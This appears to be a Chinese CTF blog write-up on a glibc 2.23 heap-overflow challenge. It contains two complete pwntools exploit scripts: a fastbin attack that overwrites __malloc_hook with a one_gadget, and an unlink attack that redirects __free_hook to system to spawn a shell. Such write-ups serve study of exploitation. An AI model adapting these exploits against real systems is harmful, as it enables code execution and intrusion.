从一道题学到两个知识点+弄明白之前的疑惑。
这道题有常规解法,可以直接打malloc_hook
漏洞点在edit函数里有堆溢出:
unsigned __int64 take_note()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("which one do you want modify :");
__isoc99_scanf("%d", &v1);
if ( (&buf)[v1] != 0LL && v1 >= 0 && v1 <= 9 )
{
puts("please input the content");
read(0, (&buf)[v1], 0x100uLL);
}
return __readfsqword(0x28u) ^ v2;
}
其中这题的libc版本为2.23,没有tcache机制,直接利用unsorted-bin泄露出libc基址打malloc_hook,这里注意申请的堆块大小为0x60(为了能够成功申请出来malloc_hook所在的堆块)
而且(唉唉唉,今天给电脑清灰把电脑自带的硅脂换了,换的硅脂巨垃圾,现在电脑CPU一个不注意就飙到100度,刚刚又买了一个利民的)
明天还得拆一次机(

)
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p = process('./chall')
elf = ELF('./chall')
libc = ELF('./libc-2.23.so')
def choice(idx):
p.sendlineafter("please chooice :", str(idx))
def add(size):
choice(1)
p.sendlineafter("please input the size :", str(size))
def free(idx):
choice(2)
p.sendlineafter("which node do you want to delete", str(idx))
def show(idx):
choice(3)
p.sendlineafter("which node do you want to show", str(idx))
def edit(idx, data):
choice(4)
p.sendlineafter("which one do you want modify :", str(idx))
p.sendlineafter("please input the content", data)
add(0x100)#0
add(0x10)#1
free(0)
#gdb.attach(p)
add(0x100)#0
show(0)
leak = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
print(hex(leak))
libc_base = leak - (0x7f080cbc4b78-0x7f080c800000)
print(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']
system = libc_base + libc.sym['system']
onegadget = libc_base + 0x4527a
realloc = libc_base + libc.sym['realloc']
add(0x10)#2
add(0x60)#3
add(0x60)#4
free(4)
free(3)
#gdb.attach(p)
edit(2,p64(0)*3+p64(0x71)+p64(malloc_hook - 0x23))
add(0x60)#3
add(0x60)#4
#gdb.attach(p)
edit(4, b'\x00'*0xb+p64(onegadget)+p64(realloc + 8))
add(0x10)
#gdb.attach(p)
p.interactive()
上面是常规的思路,明天具体学一下unlink机制。(先睡觉吧)
realloc函数里面有很多push操作,每push一次rsp就向低地址移八位。使得正好可以凑出来满足one_gadget条件的rsp,(比赛的时候试的速度可能比计算的更快)

这里主要是利用了malloc_hook->realloc+8->realloc_hook->onegadget
在程序中malloc_hook和realloc_hook是相邻的(如下图所示)

因为利用one_gadget是有条件的

我们在利用之前要首先看一下是否满足对应的条件
调试的时候意外发现:

也就是说我们也可以打IO吗(如果got表可写)

这里是已经用realloc调整完栈帧了,可以看到rsp-0x30的位置正好是0,可以利用第一个gadget
unlink好像不是很简单
首先创建三个堆块

然后编辑0号堆块,伪造fake-chunk的同时,为unlink做准备
payload = p64(0) + p64(0x20) + p64(buf - 0x18) + p64(buf - 0x10) + p64(0x20) + p64(0x90)

free触发unlink

此时0号堆块的位置被修改到了

泄露puts函数的got表地址

通过edit 0号堆块改1号堆块地址为free_hook,然后改2号堆块地址为/bin/sh的地址,然后改1号堆块的内容为system,然后free 2号堆块即可。

成功getshell

贴一下exp:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p = process('./chall')
elf = ELF('./chall')
libc = ELF('./libc-2.23.so')
def get_addr():
return u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
def debug():
gdb.attach(p)
def choice(idx):
p.sendlineafter("please chooice :", str(idx))
def add(size):
choice(1)
p.sendlineafter("please input the size :", str(size))
def free(idx):
choice(2)
p.sendlineafter("which node do you want to delete", str(idx))
def show(idx):
choice(3)
p.sendlineafter("which node do you want to show", str(idx))
def edit(idx, data):
choice(4)
p.sendlineafter("which one do you want modify :", str(idx))
p.sendlineafter("please input the content", data)
#unlink的原理就是伪造fake-chunk,然后触发free时的合并操作,从而实现任意地址写的目的
buf = 0x6020C0
payload = p64(0) + p64(0x20) + p64(buf - 0x18) + p64(buf - 0x10) + p64(0x20) + p64(0x90)
#先给unlink构造一下堆风水
add(0x20)#0
add(0x80)#1 free触发unlink
add(0x100)#2 防止与top chunk合并
edit(0,payload)
free(1)
edit(0,p64(0)*3+p64(buf+8))
payload = p64(elf.got['puts'])
edit(0,payload)
show(1)
leak = get_addr()
print(hex(leak))
libc_base = leak - libc.sym['puts']
system = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))
free_hook = libc_base + libc.sym['__free_hook']
payload = p64(system)
edit(0, p64(free_hook) + p64(binsh_addr))
edit(1, p64(system))
debug()
free(2)
p.interactive()
本文地址: unlink